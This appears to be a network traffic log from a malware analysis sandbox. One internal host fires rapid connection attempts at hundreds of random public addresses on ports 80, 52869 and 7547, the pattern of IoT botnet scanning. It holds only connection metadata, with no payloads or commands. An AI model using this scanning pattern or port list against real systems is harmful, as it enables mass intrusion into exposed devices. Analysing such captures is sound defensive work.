Mar 21, 2024 05:21:09.856450081 CET	17300	80	192.168.2.14	139.217.160.230
Mar 21, 2024 05:21:09.856462955 CET	17300	80	192.168.2.14	221.14.26.64
Mar 21, 2024 05:21:09.856467009 CET	17300	80	192.168.2.14	77.31.251.100
Mar 21, 2024 05:21:09.856493950 CET	17300	80	192.168.2.14	153.164.241.43
Mar 21, 2024 05:21:09.856506109 CET	17300	80	192.168.2.14	184.207.195.133
Mar 21, 2024 05:21:09.856513023 CET	17300	80	192.168.2.14	196.200.229.206
Mar 21, 2024 05:21:09.856513977 CET	17300	80	192.168.2.14	177.170.195.164
Mar 21, 2024 05:21:09.856517076 CET	17300	80	192.168.2.14	175.233.44.159
Mar 21, 2024 05:21:09.856520891 CET	17300	80	192.168.2.14	121.77.11.43
Mar 21, 2024 05:21:09.856524944 CET	17300	80	192.168.2.14	140.173.77.23
Mar 21, 2024 05:21:09.856540918 CET	17300	80	192.168.2.14	153.238.51.153
Mar 21, 2024 05:21:09.856549025 CET	17300	80	192.168.2.14	186.221.80.121
Mar 21, 2024 05:21:09.856560946 CET	17300	80	192.168.2.14	24.140.179.46
Mar 21, 2024 05:21:09.856565952 CET	17300	80	192.168.2.14	76.10.78.239
Mar 21, 2024 05:21:09.856570959 CET	17300	80	192.168.2.14	96.21.39.226
Mar 21, 2024 05:21:09.856583118 CET	17300	80	192.168.2.14	223.22.107.117
Mar 21, 2024 05:21:09.856583118 CET	17300	80	192.168.2.14	99.206.26.8
Mar 21, 2024 05:21:09.856586933 CET	17300	80	192.168.2.14	206.124.111.182
Mar 21, 2024 05:21:09.856594086 CET	17300	80	192.168.2.14	133.30.78.50
Mar 21, 2024 05:21:09.856602907 CET	17300	80	192.168.2.14	8.255.209.92
Mar 21, 2024 05:21:09.856621027 CET	17300	80	192.168.2.14	69.210.252.5
Mar 21, 2024 05:21:09.856627941 CET	17300	80	192.168.2.14	144.49.145.202
Mar 21, 2024 05:21:09.856631041 CET	17300	80	192.168.2.14	145.202.237.179
Mar 21, 2024 05:21:09.856642962 CET	17300	80	192.168.2.14	73.114.115.20
Mar 21, 2024 05:21:09.856652975 CET	17300	80	192.168.2.14	174.6.132.155
Mar 21, 2024 05:21:09.856656075 CET	17300	80	192.168.2.14	218.239.90.45
Mar 21, 2024 05:21:09.856664896 CET	17300	80	192.168.2.14	130.80.235.240
Mar 21, 2024 05:21:09.856667042 CET	17300	80	192.168.2.14	50.125.209.112
Mar 21, 2024 05:21:09.856683969 CET	17300	80	192.168.2.14	34.77.29.99
Mar 21, 2024 05:21:09.856688023 CET	17300	80	192.168.2.14	35.225.108.212
Mar 21, 2024 05:21:09.856698990 CET	17300	80	192.168.2.14	74.245.233.100
Mar 21, 2024 05:21:09.856796026 CET	17300	80	192.168.2.14	37.161.75.70
Mar 21, 2024 05:21:09.856803894 CET	17300	80	192.168.2.14	132.53.243.112
Mar 21, 2024 05:21:09.856813908 CET	17300	80	192.168.2.14	151.23.155.68
Mar 21, 2024 05:21:09.856829882 CET	17300	80	192.168.2.14	184.1.201.171
Mar 21, 2024 05:21:09.856832027 CET	17300	80	192.168.2.14	206.188.238.5
Mar 21, 2024 05:21:09.856842041 CET	17300	80	192.168.2.14	12.120.24.231
Mar 21, 2024 05:21:09.856875896 CET	17300	80	192.168.2.14	96.247.245.253
Mar 21, 2024 05:21:09.856885910 CET	17300	80	192.168.2.14	126.100.255.69
Mar 21, 2024 05:21:09.856885910 CET	17300	80	192.168.2.14	114.126.66.12
Mar 21, 2024 05:21:09.856892109 CET	17300	80	192.168.2.14	115.123.174.240
Mar 21, 2024 05:21:09.856894970 CET	17300	80	192.168.2.14	20.171.47.237
Mar 21, 2024 05:21:09.856909990 CET	17300	80	192.168.2.14	95.235.28.198
Mar 21, 2024 05:21:09.856919050 CET	17300	80	192.168.2.14	23.117.209.171
Mar 21, 2024 05:21:09.856930017 CET	17300	80	192.168.2.14	181.171.92.188
Mar 21, 2024 05:21:09.856931925 CET	17300	80	192.168.2.14	138.174.47.23
Mar 21, 2024 05:21:09.856937885 CET	17300	80	192.168.2.14	121.123.44.70
Mar 21, 2024 05:21:09.856939077 CET	17300	80	192.168.2.14	44.106.64.152
Mar 21, 2024 05:21:09.856942892 CET	17300	80	192.168.2.14	131.92.145.127
Mar 21, 2024 05:21:09.856956959 CET	17300	80	192.168.2.14	61.190.29.164
Mar 21, 2024 05:21:09.856965065 CET	17300	80	192.168.2.14	204.218.46.95
Mar 21, 2024 05:21:09.856992960 CET	17300	80	192.168.2.14	32.49.221.211
Mar 21, 2024 05:21:09.857001066 CET	17300	80	192.168.2.14	195.113.247.71
Mar 21, 2024 05:21:09.857002974 CET	17300	80	192.168.2.14	178.31.127.35
Mar 21, 2024 05:21:09.857009888 CET	17300	80	192.168.2.14	46.103.112.128
Mar 21, 2024 05:21:09.857016087 CET	17300	80	192.168.2.14	170.212.102.201
Mar 21, 2024 05:21:09.857031107 CET	17300	80	192.168.2.14	130.90.11.95
Mar 21, 2024 05:21:09.857038021 CET	17300	80	192.168.2.14	91.82.233.64
Mar 21, 2024 05:21:09.857063055 CET	17300	80	192.168.2.14	221.13.206.29
Mar 21, 2024 05:21:09.857063055 CET	17300	80	192.168.2.14	145.119.214.233
Mar 21, 2024 05:21:09.857072115 CET	17300	80	192.168.2.14	154.131.194.179
Mar 21, 2024 05:21:09.857079029 CET	17300	80	192.168.2.14	183.253.102.50
Mar 21, 2024 05:21:09.857085943 CET	17300	80	192.168.2.14	217.97.165.183
Mar 21, 2024 05:21:09.857103109 CET	17300	80	192.168.2.14	87.55.228.2
Mar 21, 2024 05:21:09.857108116 CET	17300	80	192.168.2.14	24.1.156.85
Mar 21, 2024 05:21:09.857124090 CET	17300	80	192.168.2.14	64.126.77.32
Mar 21, 2024 05:21:09.857134104 CET	17300	80	192.168.2.14	182.11.5.237
Mar 21, 2024 05:21:09.857137918 CET	17300	80	192.168.2.14	196.164.183.41
Mar 21, 2024 05:21:09.857145071 CET	17300	80	192.168.2.14	97.47.168.239
Mar 21, 2024 05:21:09.857151985 CET	17300	80	192.168.2.14	113.49.136.105
Mar 21, 2024 05:21:09.857158899 CET	17300	80	192.168.2.14	182.245.177.57
Mar 21, 2024 05:21:09.857162952 CET	17300	80	192.168.2.14	95.198.44.255
Mar 21, 2024 05:21:09.857170105 CET	17300	80	192.168.2.14	175.137.7.91
Mar 21, 2024 05:21:09.857175112 CET	17300	80	192.168.2.14	14.110.164.254
Mar 21, 2024 05:21:09.857183933 CET	17300	80	192.168.2.14	178.6.3.94
Mar 21, 2024 05:21:09.857189894 CET	17300	80	192.168.2.14	167.42.89.45
Mar 21, 2024 05:21:09.857197046 CET	17300	80	192.168.2.14	125.240.56.218
Mar 21, 2024 05:21:09.857203007 CET	17300	80	192.168.2.14	84.130.200.26
Mar 21, 2024 05:21:09.857203007 CET	17300	80	192.168.2.14	112.96.43.153
Mar 21, 2024 05:21:09.857214928 CET	17300	80	192.168.2.14	58.97.117.61
Mar 21, 2024 05:21:09.857223988 CET	17300	80	192.168.2.14	20.1.46.37
Mar 21, 2024 05:21:09.857232094 CET	17300	80	192.168.2.14	97.71.10.220
Mar 21, 2024 05:21:09.857239008 CET	17300	80	192.168.2.14	97.35.255.28
Mar 21, 2024 05:21:09.857239008 CET	17300	80	192.168.2.14	137.40.50.183
Mar 21, 2024 05:21:09.857249975 CET	17300	80	192.168.2.14	206.120.254.11
Mar 21, 2024 05:21:09.857254982 CET	17300	80	192.168.2.14	61.225.24.126
Mar 21, 2024 05:21:09.857254982 CET	17300	80	192.168.2.14	58.132.252.126
Mar 21, 2024 05:21:09.857259989 CET	17300	80	192.168.2.14	166.226.245.224
Mar 21, 2024 05:21:09.857270002 CET	17300	80	192.168.2.14	220.208.153.70
Mar 21, 2024 05:21:09.857280016 CET	17300	80	192.168.2.14	141.253.73.224
Mar 21, 2024 05:21:09.857281923 CET	17300	80	192.168.2.14	35.131.231.128
Mar 21, 2024 05:21:09.857284069 CET	17300	80	192.168.2.14	217.153.145.69
Mar 21, 2024 05:21:09.857291937 CET	17300	80	192.168.2.14	86.52.231.162
Mar 21, 2024 05:21:09.857306957 CET	17300	80	192.168.2.14	52.93.199.41
Mar 21, 2024 05:21:09.857311010 CET	17300	80	192.168.2.14	222.44.25.134
Mar 21, 2024 05:21:09.857311964 CET	17300	80	192.168.2.14	188.122.194.146
Mar 21, 2024 05:21:09.857317924 CET	17300	80	192.168.2.14	70.233.112.111
Mar 21, 2024 05:21:09.857326031 CET	17300	80	192.168.2.14	123.64.141.132
Mar 21, 2024 05:21:09.857331038 CET	17300	80	192.168.2.14	62.9.209.183
Mar 21, 2024 05:21:09.857331038 CET	17300	80	192.168.2.14	170.219.179.222
Mar 21, 2024 05:21:09.857348919 CET	17300	80	192.168.2.14	210.237.82.48
Mar 21, 2024 05:21:09.857362986 CET	17300	80	192.168.2.14	111.224.117.219
Mar 21, 2024 05:21:09.857362986 CET	17300	80	192.168.2.14	173.218.69.211
Mar 21, 2024 05:21:09.857367039 CET	17300	80	192.168.2.14	118.235.220.55
Mar 21, 2024 05:21:09.857369900 CET	17300	80	192.168.2.14	179.246.67.74
Mar 21, 2024 05:21:09.857372046 CET	17300	80	192.168.2.14	217.80.22.41
Mar 21, 2024 05:21:09.857384920 CET	17300	80	192.168.2.14	179.220.105.211
Mar 21, 2024 05:21:09.857388973 CET	17300	80	192.168.2.14	152.113.126.196
Mar 21, 2024 05:21:09.857398987 CET	17300	80	192.168.2.14	164.131.176.169
Mar 21, 2024 05:21:09.857403040 CET	17300	80	192.168.2.14	52.7.49.186
Mar 21, 2024 05:21:09.857407093 CET	17300	80	192.168.2.14	17.100.228.2
Mar 21, 2024 05:21:09.857419968 CET	17300	80	192.168.2.14	41.24.54.0
Mar 21, 2024 05:21:09.857423067 CET	17300	80	192.168.2.14	19.149.196.45
Mar 21, 2024 05:21:09.857426882 CET	17300	80	192.168.2.14	2.210.87.202
Mar 21, 2024 05:21:09.857426882 CET	17300	80	192.168.2.14	162.157.241.194
Mar 21, 2024 05:21:09.857444048 CET	17300	80	192.168.2.14	32.71.254.109
Mar 21, 2024 05:21:09.857445002 CET	17300	80	192.168.2.14	210.37.180.129
Mar 21, 2024 05:21:09.857445002 CET	17300	80	192.168.2.14	98.144.150.91
Mar 21, 2024 05:21:09.857451916 CET	17300	80	192.168.2.14	206.244.122.79
Mar 21, 2024 05:21:09.857451916 CET	17300	80	192.168.2.14	190.231.179.225
Mar 21, 2024 05:21:09.857472897 CET	17300	80	192.168.2.14	14.16.134.75
Mar 21, 2024 05:21:09.857481956 CET	17300	80	192.168.2.14	117.16.189.112
Mar 21, 2024 05:21:09.857536077 CET	17300	80	192.168.2.14	172.174.62.17
Mar 21, 2024 05:21:09.857587099 CET	17300	80	192.168.2.14	110.3.112.238
Mar 21, 2024 05:21:09.857605934 CET	17300	80	192.168.2.14	159.39.24.253
Mar 21, 2024 05:21:09.857620955 CET	17300	80	192.168.2.14	206.230.159.219
Mar 21, 2024 05:21:09.857620955 CET	17300	80	192.168.2.14	63.73.154.67
Mar 21, 2024 05:21:09.857623100 CET	17300	80	192.168.2.14	184.75.172.5
Mar 21, 2024 05:21:09.857635021 CET	17300	80	192.168.2.14	60.143.234.254
Mar 21, 2024 05:21:09.857641935 CET	17300	80	192.168.2.14	202.7.241.179
Mar 21, 2024 05:21:09.857649088 CET	17300	80	192.168.2.14	133.25.249.222
Mar 21, 2024 05:21:09.857666016 CET	17300	80	192.168.2.14	118.215.103.229
Mar 21, 2024 05:21:09.857677937 CET	17300	80	192.168.2.14	65.201.11.150
Mar 21, 2024 05:21:09.857681990 CET	17300	80	192.168.2.14	31.26.94.196
Mar 21, 2024 05:21:09.857686043 CET	17300	80	192.168.2.14	199.197.74.24
Mar 21, 2024 05:21:09.857697964 CET	17300	80	192.168.2.14	196.97.144.210
Mar 21, 2024 05:21:09.857705116 CET	17300	80	192.168.2.14	201.110.209.230
Mar 21, 2024 05:21:09.857719898 CET	17300	80	192.168.2.14	175.6.119.186
Mar 21, 2024 05:21:09.857719898 CET	17300	80	192.168.2.14	108.55.22.30
Mar 21, 2024 05:21:09.857724905 CET	17300	80	192.168.2.14	76.156.20.43
Mar 21, 2024 05:21:09.857737064 CET	17300	80	192.168.2.14	133.76.129.18
Mar 21, 2024 05:21:09.857739925 CET	17300	80	192.168.2.14	45.155.171.230
Mar 21, 2024 05:21:09.857770920 CET	17300	80	192.168.2.14	162.245.40.192
Mar 21, 2024 05:21:09.857774973 CET	17300	80	192.168.2.14	69.188.248.77
Mar 21, 2024 05:21:09.857775927 CET	17300	80	192.168.2.14	177.72.78.203
Mar 21, 2024 05:21:09.857783079 CET	17300	80	192.168.2.14	209.14.67.31
Mar 21, 2024 05:21:09.857791901 CET	17300	80	192.168.2.14	12.107.248.3
Mar 21, 2024 05:21:09.857795954 CET	17300	80	192.168.2.14	47.234.244.151
Mar 21, 2024 05:21:09.857808113 CET	17300	80	192.168.2.14	210.121.183.26
Mar 21, 2024 05:21:09.857815027 CET	17300	80	192.168.2.14	81.126.167.239
Mar 21, 2024 05:21:09.857815981 CET	17300	80	192.168.2.14	4.30.124.30
Mar 21, 2024 05:21:09.857825994 CET	17300	80	192.168.2.14	2.31.146.184
Mar 21, 2024 05:21:09.857826948 CET	17300	80	192.168.2.14	71.178.1.185
Mar 21, 2024 05:21:09.857830048 CET	17300	80	192.168.2.14	60.222.122.114
Mar 21, 2024 05:21:09.857841015 CET	17300	80	192.168.2.14	68.191.115.78
Mar 21, 2024 05:21:09.857845068 CET	17300	80	192.168.2.14	69.203.147.101
Mar 21, 2024 05:21:09.857847929 CET	17300	80	192.168.2.14	4.237.12.233
Mar 21, 2024 05:21:09.857862949 CET	17300	80	192.168.2.14	97.170.147.48
Mar 21, 2024 05:21:09.857867002 CET	17300	80	192.168.2.14	206.244.70.51
Mar 21, 2024 05:21:09.857868910 CET	17300	80	192.168.2.14	74.227.128.89
Mar 21, 2024 05:21:09.860960960 CET	17309	52869	192.168.2.14	171.26.214.114
Mar 21, 2024 05:21:09.861133099 CET	17309	52869	192.168.2.14	96.85.238.184
Mar 21, 2024 05:21:09.861135960 CET	17309	52869	192.168.2.14	50.122.24.125
Mar 21, 2024 05:21:09.861146927 CET	17309	52869	192.168.2.14	97.227.166.181
Mar 21, 2024 05:21:09.861154079 CET	17309	52869	192.168.2.14	129.145.247.187
Mar 21, 2024 05:21:09.861238956 CET	17309	52869	192.168.2.14	124.57.126.53
Mar 21, 2024 05:21:09.861238956 CET	17309	52869	192.168.2.14	117.54.21.50
Mar 21, 2024 05:21:09.861247063 CET	17309	52869	192.168.2.14	193.77.81.74
Mar 21, 2024 05:21:09.861252069 CET	17309	52869	192.168.2.14	72.87.232.170
Mar 21, 2024 05:21:09.861258030 CET	17309	52869	192.168.2.14	185.169.61.229
Mar 21, 2024 05:21:09.861265898 CET	17309	52869	192.168.2.14	158.199.132.151
Mar 21, 2024 05:21:09.861272097 CET	17309	52869	192.168.2.14	85.81.177.172
Mar 21, 2024 05:21:09.861283064 CET	17309	52869	192.168.2.14	48.170.227.120
Mar 21, 2024 05:21:09.861296892 CET	17309	52869	192.168.2.14	105.29.171.20
Mar 21, 2024 05:21:09.861296892 CET	17309	52869	192.168.2.14	85.26.135.198
Mar 21, 2024 05:21:09.861299038 CET	17309	52869	192.168.2.14	35.191.228.39
Mar 21, 2024 05:21:09.861304998 CET	17309	52869	192.168.2.14	167.3.137.254
Mar 21, 2024 05:21:09.861320019 CET	17309	52869	192.168.2.14	213.84.186.140
Mar 21, 2024 05:21:09.861320972 CET	17309	52869	192.168.2.14	41.216.107.210
Mar 21, 2024 05:21:09.861375093 CET	17309	52869	192.168.2.14	100.228.130.47
Mar 21, 2024 05:21:09.861392021 CET	17309	52869	192.168.2.14	197.97.204.146
Mar 21, 2024 05:21:09.861392021 CET	17309	52869	192.168.2.14	222.189.205.162
Mar 21, 2024 05:21:09.861401081 CET	17309	52869	192.168.2.14	65.28.11.235
Mar 21, 2024 05:21:09.861408949 CET	17309	52869	192.168.2.14	95.72.148.198
Mar 21, 2024 05:21:09.861413956 CET	17309	52869	192.168.2.14	129.61.203.113
Mar 21, 2024 05:21:09.861429930 CET	17309	52869	192.168.2.14	39.148.48.149
Mar 21, 2024 05:21:09.861438036 CET	17309	52869	192.168.2.14	197.243.155.98
Mar 21, 2024 05:21:09.861447096 CET	17309	52869	192.168.2.14	211.19.183.109
Mar 21, 2024 05:21:09.861449957 CET	17309	52869	192.168.2.14	125.66.174.43
Mar 21, 2024 05:21:09.861449957 CET	17309	52869	192.168.2.14	50.75.159.189
Mar 21, 2024 05:21:09.861449957 CET	17309	52869	192.168.2.14	117.65.236.50
Mar 21, 2024 05:21:09.861459970 CET	17309	52869	192.168.2.14	164.214.207.106
Mar 21, 2024 05:21:09.861476898 CET	17309	52869	192.168.2.14	193.252.105.185
Mar 21, 2024 05:21:09.861480951 CET	17309	52869	192.168.2.14	93.25.121.192
Mar 21, 2024 05:21:09.861495972 CET	17309	52869	192.168.2.14	67.209.165.163
Mar 21, 2024 05:21:09.861495972 CET	17309	52869	192.168.2.14	69.31.247.2
Mar 21, 2024 05:21:09.861495972 CET	17309	52869	192.168.2.14	133.18.29.195
Mar 21, 2024 05:21:09.861505985 CET	17309	52869	192.168.2.14	174.243.13.158
Mar 21, 2024 05:21:09.862070084 CET	17309	52869	192.168.2.14	160.210.218.76
Mar 21, 2024 05:21:09.862083912 CET	17309	52869	192.168.2.14	165.180.110.114
Mar 21, 2024 05:21:09.862096071 CET	17309	52869	192.168.2.14	213.53.163.232
Mar 21, 2024 05:21:09.862096071 CET	17309	52869	192.168.2.14	51.50.33.17
Mar 21, 2024 05:21:09.862098932 CET	17309	52869	192.168.2.14	140.21.91.39
Mar 21, 2024 05:21:09.862108946 CET	17309	52869	192.168.2.14	168.12.93.66
Mar 21, 2024 05:21:09.862126112 CET	17309	52869	192.168.2.14	187.194.158.15
Mar 21, 2024 05:21:09.862127066 CET	17309	52869	192.168.2.14	8.211.224.87
Mar 21, 2024 05:21:09.862246037 CET	17309	52869	192.168.2.14	172.223.146.180
Mar 21, 2024 05:21:09.862279892 CET	17309	52869	192.168.2.14	2.152.99.178
Mar 21, 2024 05:21:09.862303972 CET	17309	52869	192.168.2.14	153.31.181.147
Mar 21, 2024 05:21:09.862304926 CET	17309	52869	192.168.2.14	96.76.83.254
Mar 21, 2024 05:21:09.862304926 CET	17309	52869	192.168.2.14	186.31.59.141
Mar 21, 2024 05:21:09.862318039 CET	17309	52869	192.168.2.14	107.109.250.208
Mar 21, 2024 05:21:09.862318993 CET	17309	52869	192.168.2.14	62.137.191.162
Mar 21, 2024 05:21:09.862320900 CET	17309	52869	192.168.2.14	70.138.221.127
Mar 21, 2024 05:21:09.862320900 CET	17309	52869	192.168.2.14	196.149.56.51
Mar 21, 2024 05:21:09.862323046 CET	17309	52869	192.168.2.14	81.48.71.22
Mar 21, 2024 05:21:09.862323046 CET	17309	52869	192.168.2.14	168.91.59.79
Mar 21, 2024 05:21:09.862323046 CET	17309	52869	192.168.2.14	61.7.196.52
Mar 21, 2024 05:21:09.862345934 CET	17309	52869	192.168.2.14	18.163.29.36
Mar 21, 2024 05:21:09.862353086 CET	17309	52869	192.168.2.14	201.122.14.132
Mar 21, 2024 05:21:09.862353086 CET	17309	52869	192.168.2.14	85.236.199.159
Mar 21, 2024 05:21:09.862354040 CET	17309	52869	192.168.2.14	208.71.32.195
Mar 21, 2024 05:21:09.862354994 CET	17309	52869	192.168.2.14	34.3.230.164
Mar 21, 2024 05:21:09.862355947 CET	17309	52869	192.168.2.14	83.70.110.85
Mar 21, 2024 05:21:09.862358093 CET	17309	52869	192.168.2.14	157.228.205.59
Mar 21, 2024 05:21:09.862370968 CET	17309	52869	192.168.2.14	31.1.181.133
Mar 21, 2024 05:21:09.862371922 CET	17309	52869	192.168.2.14	182.193.213.228
Mar 21, 2024 05:21:09.862374067 CET	17309	52869	192.168.2.14	147.40.113.197
Mar 21, 2024 05:21:09.862374067 CET	17309	52869	192.168.2.14	116.82.103.113
Mar 21, 2024 05:21:09.862374067 CET	17309	52869	192.168.2.14	65.227.52.107
Mar 21, 2024 05:21:09.862375021 CET	17309	52869	192.168.2.14	171.19.184.103
Mar 21, 2024 05:21:09.862375021 CET	17309	52869	192.168.2.14	154.212.102.234
Mar 21, 2024 05:21:09.862380981 CET	17309	52869	192.168.2.14	12.213.68.207
Mar 21, 2024 05:21:09.862380981 CET	17309	52869	192.168.2.14	109.72.63.103
Mar 21, 2024 05:21:09.862380981 CET	17309	52869	192.168.2.14	32.134.234.8
Mar 21, 2024 05:21:09.862380981 CET	17309	52869	192.168.2.14	40.48.54.32
Mar 21, 2024 05:21:09.862385035 CET	17309	52869	192.168.2.14	14.3.227.189
Mar 21, 2024 05:21:09.862385035 CET	17309	52869	192.168.2.14	84.133.13.204
Mar 21, 2024 05:21:09.862385035 CET	17309	52869	192.168.2.14	40.200.76.184
Mar 21, 2024 05:21:09.862385035 CET	17309	52869	192.168.2.14	156.38.169.147
Mar 21, 2024 05:21:09.862385035 CET	17309	52869	192.168.2.14	50.200.220.13
Mar 21, 2024 05:21:09.862390041 CET	17309	52869	192.168.2.14	157.138.191.136
Mar 21, 2024 05:21:09.862401962 CET	17309	52869	192.168.2.14	42.96.68.219
Mar 21, 2024 05:21:09.862421989 CET	17309	52869	192.168.2.14	198.215.12.194
Mar 21, 2024 05:21:09.862421989 CET	17309	52869	192.168.2.14	102.82.238.130
Mar 21, 2024 05:21:09.862437010 CET	17309	52869	192.168.2.14	223.239.103.149
Mar 21, 2024 05:21:09.862437963 CET	17309	52869	192.168.2.14	221.201.144.45
Mar 21, 2024 05:21:09.862447023 CET	17309	52869	192.168.2.14	109.2.173.119
Mar 21, 2024 05:21:09.862452984 CET	17309	52869	192.168.2.14	174.106.90.58
Mar 21, 2024 05:21:09.862736940 CET	17309	52869	192.168.2.14	193.97.84.188
Mar 21, 2024 05:21:09.862746000 CET	17309	52869	192.168.2.14	130.66.75.184
Mar 21, 2024 05:21:09.862762928 CET	17309	52869	192.168.2.14	45.233.248.169
Mar 21, 2024 05:21:09.862766027 CET	17309	52869	192.168.2.14	212.227.59.112
Mar 21, 2024 05:21:09.862782955 CET	17309	52869	192.168.2.14	102.91.99.70
Mar 21, 2024 05:21:09.862792015 CET	17309	52869	192.168.2.14	119.151.205.219
Mar 21, 2024 05:21:09.862792015 CET	17309	52869	192.168.2.14	41.147.44.234
Mar 21, 2024 05:21:09.862804890 CET	17309	52869	192.168.2.14	65.17.40.76
Mar 21, 2024 05:21:09.862804890 CET	17309	52869	192.168.2.14	171.109.151.153
Mar 21, 2024 05:21:09.862804890 CET	17309	52869	192.168.2.14	221.49.203.36
Mar 21, 2024 05:21:09.862813950 CET	17309	52869	192.168.2.14	176.10.141.232
Mar 21, 2024 05:21:09.862816095 CET	17309	52869	192.168.2.14	17.166.78.61
Mar 21, 2024 05:21:09.862816095 CET	17309	52869	192.168.2.14	79.225.226.66
Mar 21, 2024 05:21:09.862818003 CET	17309	52869	192.168.2.14	1.69.115.156
Mar 21, 2024 05:21:09.862828016 CET	17309	52869	192.168.2.14	131.110.152.122
Mar 21, 2024 05:21:09.862828016 CET	17309	52869	192.168.2.14	121.69.9.200
Mar 21, 2024 05:21:09.862843037 CET	17309	52869	192.168.2.14	155.159.11.44
Mar 21, 2024 05:21:09.862843990 CET	17309	52869	192.168.2.14	181.39.254.187
Mar 21, 2024 05:21:09.862862110 CET	17309	52869	192.168.2.14	210.216.138.60
Mar 21, 2024 05:21:09.862873077 CET	17309	52869	192.168.2.14	108.134.20.143
Mar 21, 2024 05:21:09.862874031 CET	17309	52869	192.168.2.14	72.174.188.123
Mar 21, 2024 05:21:09.862874985 CET	17309	52869	192.168.2.14	59.16.15.125
Mar 21, 2024 05:21:09.862879038 CET	17309	52869	192.168.2.14	109.0.84.98
Mar 21, 2024 05:21:09.862879038 CET	17309	52869	192.168.2.14	25.118.170.122
Mar 21, 2024 05:21:09.862889051 CET	17309	52869	192.168.2.14	9.114.253.132
Mar 21, 2024 05:21:09.862889051 CET	17309	52869	192.168.2.14	202.182.230.201
Mar 21, 2024 05:21:09.862893105 CET	17309	52869	192.168.2.14	94.169.144.223
Mar 21, 2024 05:21:09.862903118 CET	17309	52869	192.168.2.14	86.102.158.69
Mar 21, 2024 05:21:09.862904072 CET	17309	52869	192.168.2.14	210.255.133.115
Mar 21, 2024 05:21:09.862910986 CET	17309	52869	192.168.2.14	35.34.6.226
Mar 21, 2024 05:21:09.862921953 CET	17309	52869	192.168.2.14	12.229.210.10
Mar 21, 2024 05:21:09.862925053 CET	17309	52869	192.168.2.14	198.249.119.32
Mar 21, 2024 05:21:09.862934113 CET	17309	52869	192.168.2.14	122.176.47.30
Mar 21, 2024 05:21:09.862936020 CET	17309	52869	192.168.2.14	85.161.175.184
Mar 21, 2024 05:21:09.862942934 CET	17309	52869	192.168.2.14	44.5.202.180
Mar 21, 2024 05:21:09.862951994 CET	17309	52869	192.168.2.14	175.108.130.5
Mar 21, 2024 05:21:09.862958908 CET	17309	52869	192.168.2.14	130.120.157.197
Mar 21, 2024 05:21:09.862961054 CET	17309	52869	192.168.2.14	118.231.145.29
Mar 21, 2024 05:21:09.862968922 CET	17309	52869	192.168.2.14	159.177.145.85
Mar 21, 2024 05:21:09.862976074 CET	17309	52869	192.168.2.14	147.187.83.181
Mar 21, 2024 05:21:09.862978935 CET	17309	52869	192.168.2.14	50.209.115.136
Mar 21, 2024 05:21:09.862992048 CET	17309	52869	192.168.2.14	95.0.237.201
Mar 21, 2024 05:21:09.862994909 CET	17309	52869	192.168.2.14	40.233.160.225
Mar 21, 2024 05:21:09.863003969 CET	17309	52869	192.168.2.14	104.32.157.107
Mar 21, 2024 05:21:09.863013983 CET	17309	52869	192.168.2.14	138.65.81.95
Mar 21, 2024 05:21:09.863018990 CET	17309	52869	192.168.2.14	14.124.31.199
Mar 21, 2024 05:21:09.863020897 CET	17309	52869	192.168.2.14	164.39.78.53
Mar 21, 2024 05:21:09.863029957 CET	17309	52869	192.168.2.14	122.107.174.224
Mar 21, 2024 05:21:09.863037109 CET	17309	52869	192.168.2.14	207.144.240.20
Mar 21, 2024 05:21:09.863051891 CET	17309	52869	192.168.2.14	161.210.202.172
Mar 21, 2024 05:21:09.863053083 CET	17309	52869	192.168.2.14	110.133.252.13
Mar 21, 2024 05:21:09.863066912 CET	17309	52869	192.168.2.14	12.62.86.84
Mar 21, 2024 05:21:09.863074064 CET	17309	52869	192.168.2.14	152.212.105.14
Mar 21, 2024 05:21:09.863082886 CET	17309	52869	192.168.2.14	191.235.182.150
Mar 21, 2024 05:21:09.863091946 CET	17309	52869	192.168.2.14	135.16.120.240
Mar 21, 2024 05:21:09.863214016 CET	8080	17321	172.64.105.171	192.168.2.14
Mar 21, 2024 05:21:09.863260984 CET	17321	8080	192.168.2.14	172.64.105.171
Mar 21, 2024 05:21:09.863770962 CET	17308	7547	192.168.2.14	163.18.214.114
Mar 21, 2024 05:21:09.863810062 CET	17308	7547	192.168.2.14	105.85.238.184
Mar 21, 2024 05:21:09.863820076 CET	17308	7547	192.168.2.14	164.179.91.125
Mar 21, 2024 05:21:09.863864899 CET	17308	7547	192.168.2.14	172.111.213.183
Mar 21, 2024 05:21:09.863882065 CET	17308	7547	192.168.2.14	128.211.181.185
Mar 21, 2024 05:21:09.863882065 CET	17308	7547	192.168.2.14	54.33.60.37
Mar 21, 2024 05:21:09.863886118 CET	17308	7547	192.168.2.14	44.238.215.32
Mar 21, 2024 05:21:09.863890886 CET	17308	7547	192.168.2.14	131.141.145.74
Mar 21, 2024 05:21:09.863902092 CET	17308	7547	192.168.2.14	65.213.170.170
Mar 21, 2024 05:21:09.863904953 CET	17308	7547	192.168.2.14	34.115.185.227
Mar 21, 2024 05:21:09.864006042 CET	17309	52869	192.168.2.14	100.47.144.132
Mar 21, 2024 05:21:09.864027977 CET	17309	52869	192.168.2.14	52.174.230.179
Mar 21, 2024 05:21:09.864032984 CET	17309	52869	192.168.2.14	50.34.183.109
Mar 21, 2024 05:21:09.864044905 CET	17309	52869	192.168.2.14	151.196.130.104
Mar 21, 2024 05:21:09.864048958 CET	17309	52869	192.168.2.14	92.167.62.147
Mar 21, 2024 05:21:09.864062071 CET	17309	52869	192.168.2.14	106.186.20.123
Mar 21, 2024 05:21:09.864065886 CET	17309	52869	192.168.2.14	31.227.143.207
Mar 21, 2024 05:21:09.864072084 CET	17309	52869	192.168.2.14	104.162.208.207
Mar 21, 2024 05:21:09.864088058 CET	17309	52869	192.168.2.14	184.15.119.187
Mar 21, 2024 05:21:09.864093065 CET	17309	52869	192.168.2.14	89.135.4.172
Mar 21, 2024 05:21:09.864095926 CET	17309	52869	192.168.2.14	51.39.196.32
Mar 21, 2024 05:21:09.864110947 CET	17309	52869	192.168.2.14	176.70.20.111
Mar 21, 2024 05:21:09.864115000 CET	17309	52869	192.168.2.14	76.126.99.83
Mar 21, 2024 05:21:09.864128113 CET	17309	52869	192.168.2.14	1.178.170.152
Mar 21, 2024 05:21:09.864131927 CET	17309	52869	192.168.2.14	157.244.211.84
Mar 21, 2024 05:21:09.864132881 CET	17309	52869	192.168.2.14	165.103.251.254
Mar 21, 2024 05:21:09.864135027 CET	17309	52869	192.168.2.14	12.220.66.208
Mar 21, 2024 05:21:09.864147902 CET	17309	52869	192.168.2.14	172.203.88.161
Mar 21, 2024 05:21:09.864152908 CET	17309	52869	192.168.2.14	117.234.56.152
Mar 21, 2024 05:21:09.864159107 CET	17309	52869	192.168.2.14	222.231.154.176
